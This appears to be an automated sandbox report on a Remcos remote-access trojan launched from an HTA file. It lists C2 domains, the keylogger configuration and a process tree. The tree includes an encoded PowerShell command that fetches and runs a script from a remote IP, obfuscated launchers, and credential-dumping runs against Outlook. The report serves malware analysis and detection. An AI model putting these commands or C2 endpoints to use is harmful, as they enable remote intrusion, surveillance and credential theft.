Analysis

  • max time kernel
    149s
  • max time network
    128s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    02/10/2026, 06:26

General

  • Target
    CMH.hta
  • Size 14KB
  • Sample261002-g6556ascrf
  • SHA256 b3369ab4a219b27a5e7ce7012076ff4955a1074ad76aae0844228cd3d2317cd0
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • remcos

Botnet
  • Port$$

C2
  • jahour7lamo2.duckdns.org:57484

  • jahour7lamo3.duckdns.org:57484

  • jahour7lamo4.duckdns.org:57484

  • yam.janou8kaburo1.com:57484

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    true

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    poreprtys.dat

  • keylog_flag

    false

  • keylog_path

    %AppData%

  • mouse_option

    false

  • mutex

    llpeprtkls-OCZ2OD

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Extracted

Family
  • remcos

Version
  • 6.1.2 Pro

Botnet
  • Port$$

C2
  • jahour7lamo2.duckdns.org:57484

  • jahour7lamo3.duckdns.org:57484

  • jahour7lamo4.duckdns.org:57484

  • yam.janou8kaburo1.com:57484

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    true

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    poreprtys.dat

  • keylog_flag

    false

  • keylog_path

    %AppData%

  • mouse_option

    false

  • mutex

    llpeprtkls-OCZ2OD

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Family: Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Suricata alert: REMCOS RAT Malware Inbound C2 Communication 9 IoCs

    Network activity triggered a Suricata alert

  • Suricata alert: REMCOS RAT Malware Outbound C2 Communication 13 IoCs

    Network activity triggered a Suricata alert

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Detected Nirsoft tools 1 IoCs

    Free utilities often used by attackers which can steal passwords, product keys, etc.

  • Badlisted process makes network request 4 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Enumerates connected drives 3 TTPs 7 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • SmartAssembly .NET packer 1 IoCs

    Detects SmartAssembly .NET packer.

  • Suspicious use of SetThreadContext 4 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Kills process with taskkill 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 20 IoCs
  • Suspicious use of AdjustPrivilegeToken 10 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • outlook_office_path 1 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\CMH.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2368
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" "/c pOWERSHelL -ex BypASs -NOp -w 1 -ec IAAgACAACQAJAAkAIAAgAAkAIAAgACAAIAAJAFcAZwBFAHQAIAAdIGgAdAB0AHAAOgAvAC8AOQA2AC4ANAA0AC4AMQA2ADcALgAyADEAMAAvADEANgAvAGcAbwBvAGQAdABoAGkAbgBnAHMAZgBvAHIAbQBlAGIAZQBzAHQALgBqAFMAHSAgACAACQAgAAkAIAAgAAkAIAAJAAkAIAAgAAkAIAAJACAACQAgAAkALQBvAFUAdABmAEkAbABlACAACQAgAAkAHSAkAEUAbgB2ADoAYQBwAFAAZABhAFQAYQBcAG4AaQBjAGUAdwBvAHIAawBpAG4AZwBzAGsAcwBkAGkAbABsAC4AagBTAB0gIAAJAAkACQAJADsAIAAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAmACAAIAAgACAAIAAdICQAZQBOAHYAOgBhAFAAcABEAGEAVABhAFwAbgBpAGMAZQB3AG8AcgBrAGkAbgBnAHMAawBzAGQAaQBsAGwALgBqAFMAHSA= "
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5724
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        pOWERSHelL -ex BypASs -NOp -w 1 -ec IAAgACAACQAJAAkAIAAgAAkAIAAgACAAIAAJAFcAZwBFAHQAIAAdIGgAdAB0AHAAOgAvAC8AOQA2AC4ANAA0AC4AMQA2ADcALgAyADEAMAAvADEANgAvAGcAbwBvAGQAdABoAGkAbgBnAHMAZgBvAHIAbQBlAGIAZQBzAHQALgBqAFMAHSAgACAACQAgAAkAIAAgAAkAIAAJAAkAIAAgAAkAIAAJACAACQAgAAkALQBvAFUAdABmAEkAbABlACAACQAgAAkAHSAkAEUAbgB2ADoAYQBwAFAAZABhAFQAYQBcAG4AaQBjAGUAdwBvAHIAawBpAG4AZwBzAGsAcwBkAGkAbABsAC4AagBTAB0gIAAJAAkACQAJADsAIAAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAmACAAIAAgACAAIAAdICQAZQBOAHYAOgBhAFAAcABEAGEAVABhAFwAbgBpAGMAZQB3AG8AcgBrAGkAbgBnAHMAawBzAGQAaQBsAGwALgBqAFMAHSA= "
        3⤵
        • Badlisted process makes network request
        • Enumerates connected drives
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4128
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\niceworkingsksdill.jS"
          4⤵
          • Reads the TCP/IP host and domain name from the registry
          • System Location Discovery: System Language Discovery
          PID:5028
  • C:\Windows\system32\cmd.exe
    cmd /c %SYSTEMROOT%\System32\WindowsPowerShell\v1.0\powershell.exe .($env:ComSpec[4,26,25]-join'') $env:IFmIbneAz;
    1⤵
    • Process spawned unexpected child process
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:1736
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe .($env:ComSpec[4,26,25]-join'') $env:IFmIbneAz;
      2⤵
      • Badlisted process makes network request
      • Enumerates connected drives
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2612
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Enumerates connected drives
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1260
        • C:\Windows\system32\cmd.exe
          "C:\Windows\system32\cmd.exe" /c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:5556
          • C:\Windows\System32\taskkill.exe
            taskkill /IM RegAsm.exe /F
            5⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:4872
          • C:\Windows\System32\taskkill.exe
            taskkill /IM Vbc.exe /F
            5⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:1848
          • C:\Windows\System32\taskkill.exe
            taskkill /IM MsBuild.exe /F
            5⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:1572
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe"
        3⤵
        • Suricata alert: REMCOS RAT Malware Inbound C2 Communication
        • Suricata alert: REMCOS RAT Malware Outbound C2 Communication
        • Enumerates connected drives
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:5100
        • C:\Windows\SysWOW64\svchost.exe
          C:\Windows\SysWOW64\svchost.exe /stext "C:\Users\Admin\AppData\Local\Temp\vsvyjrjwdutlxeyuvunwlktxftyrlpy"
          4⤵
            PID:2548
          • C:\Windows\SysWOW64\svchost.exe
            C:\Windows\SysWOW64\svchost.exe /stext "C:\Users\Admin\AppData\Local\Temp\vsvyjrjwdutlxeyuvunwlktxftyrlpy"
            4⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2892
          • C:\Windows\SysWOW64\svchost.exe
            C:\Windows\SysWOW64\svchost.exe /stext "C:\Users\Admin\AppData\Local\Temp\xvaqkjuqrclqisuyefipoxoooaqaeaxewa"
            4⤵
            • Accesses Microsoft Outlook accounts
            • Accesses Microsoft Outlook profiles
            • System Location Discovery: System Language Discovery
            • outlook_office_path
            PID:5364
          • C:\Windows\SysWOW64\svchost.exe
            C:\Windows\SysWOW64\svchost.exe /stext "C:\Users\Admin\AppData\Local\Temp\ipojlcf"
            4⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:6040

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 16KB
          • SHA256 5b1b9875e0c6b940077dacb7db9c6163fd61b055aff63478f117372aa7c9e358
          • MD5 SHA1 SHA512 SSDEEP TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 d8991c310769f4e5c4fc5e99cd63a235744b0e698d2c0d9b92199795d84f3c0a
          • MD5 SHA1 SHA512 TLSH

          __PSScriptPolicyTest_hvuujcpp.exl.psm1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hvuujcpp.exl.psm1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          vsvyjrjwdutlxeyuvunwlktxftyrlpy

          • Path C:\Users\Admin\AppData\Local\Temp\vsvyjrjwdutlxeyuvunwlktxftyrlpy
          • Size 2B
          • SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
          • MD5 SHA1 SHA512

          niceworkingsksdill.jS

          • Path C:\Users\Admin\AppData\Roaming\niceworkingsksdill.jS
          • Size 60KB
          • SHA256 62c279445ee50e75ad2ae1a4e03bc7c33fc6e121ba7529b41a471adf6e140f34
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/2548-47-0x00000000006E0000-0x000000000075E000-memory.dmp

          memory/2612-25-0x000001E2A6310000-0x000001E2A6342000-memory.dmp

          memory/2612-23-0x000001E2C0220000-0x000001E2C0242000-memory.dmp

          memory/2892-57-0x0000000000400000-0x000000000047E000-memory.dmp

          memory/4128-13-0x0000000007700000-0x0000000007D7C000-memory.dmp

          memory/4128-12-0x0000000005E00000-0x0000000005E4C000-memory.dmp

          memory/4128-0-0x0000000074762000-0x0000000074763000-memory.dmp

          memory/4128-14-0x00000000062F0000-0x000000000630A000-memory.dmp

          memory/4128-11-0x0000000005A50000-0x0000000005A6E000-memory.dmp

          memory/4128-20-0x0000000074750000-0x0000000074F0C000-memory.dmp

          memory/4128-10-0x0000000005AA0000-0x0000000005DFB000-memory.dmp

          memory/4128-6-0x00000000057F0000-0x0000000005856000-memory.dmp

          memory/4128-7-0x0000000005860000-0x00000000058C6000-memory.dmp

          memory/4128-5-0x0000000004ED0000-0x0000000004EF2000-memory.dmp

          memory/4128-1-0x00000000028C0000-0x00000000028F6000-memory.dmp

          memory/4128-4-0x0000000005030000-0x000000000567A000-memory.dmp

          memory/4128-2-0x0000000074750000-0x0000000074F0C000-memory.dmp

          memory/4128-3-0x0000000074750000-0x0000000074F0C000-memory.dmp

          memory/5100-46-0x0000000000080000-0x0000000000102000-memory.dmp

          memory/5100-30-0x0000000000080000-0x0000000000102000-memory.dmp

          memory/5100-41-0x0000000000080000-0x0000000000102000-memory.dmp

          memory/5100-42-0x0000000000080000-0x0000000000102000-memory.dmp

          memory/5100-43-0x0000000000080000-0x0000000000102000-memory.dmp

          memory/5100-44-0x0000000000080000-0x0000000000102000-memory.dmp

          memory/5100-45-0x0000000000080000-0x0000000000102000-memory.dmp

          memory/5100-37-0x0000000000080000-0x0000000000102000-memory.dmp

          memory/5100-36-0x0000000000080000-0x0000000000102000-memory.dmp

          memory/5100-73-0x0000000000080000-0x0000000000102000-memory.dmp

          memory/5100-74-0x0000000000080000-0x0000000000102000-memory.dmp

          memory/5100-71-0x0000000000080000-0x0000000000102000-memory.dmp

          memory/5100-72-0x0000000000080000-0x0000000000102000-memory.dmp

          memory/5100-40-0x0000000000080000-0x0000000000102000-memory.dmp

          memory/5100-29-0x0000000000080000-0x0000000000102000-memory.dmp

          memory/5100-59-0x0000000010000000-0x0000000010019000-memory.dmp

          memory/5100-62-0x0000000010000000-0x0000000010019000-memory.dmp

          memory/5100-63-0x0000000010000000-0x0000000010019000-memory.dmp

          memory/5100-64-0x0000000000080000-0x0000000000102000-memory.dmp

          memory/5100-67-0x0000000000080000-0x0000000000102000-memory.dmp

          memory/5100-68-0x0000000000080000-0x0000000000102000-memory.dmp

          memory/5100-70-0x0000000000080000-0x0000000000102000-memory.dmp

          memory/5100-69-0x0000000000080000-0x0000000000102000-memory.dmp

          memory/5364-55-0x0000000000400000-0x000000000045E000-memory.dmp

          memory/5364-49-0x0000000000400000-0x000000000045E000-memory.dmp

          memory/6040-53-0x0000000000400000-0x0000000000424000-memory.dmp

          memory/6040-52-0x0000000000400000-0x0000000000424000-memory.dmp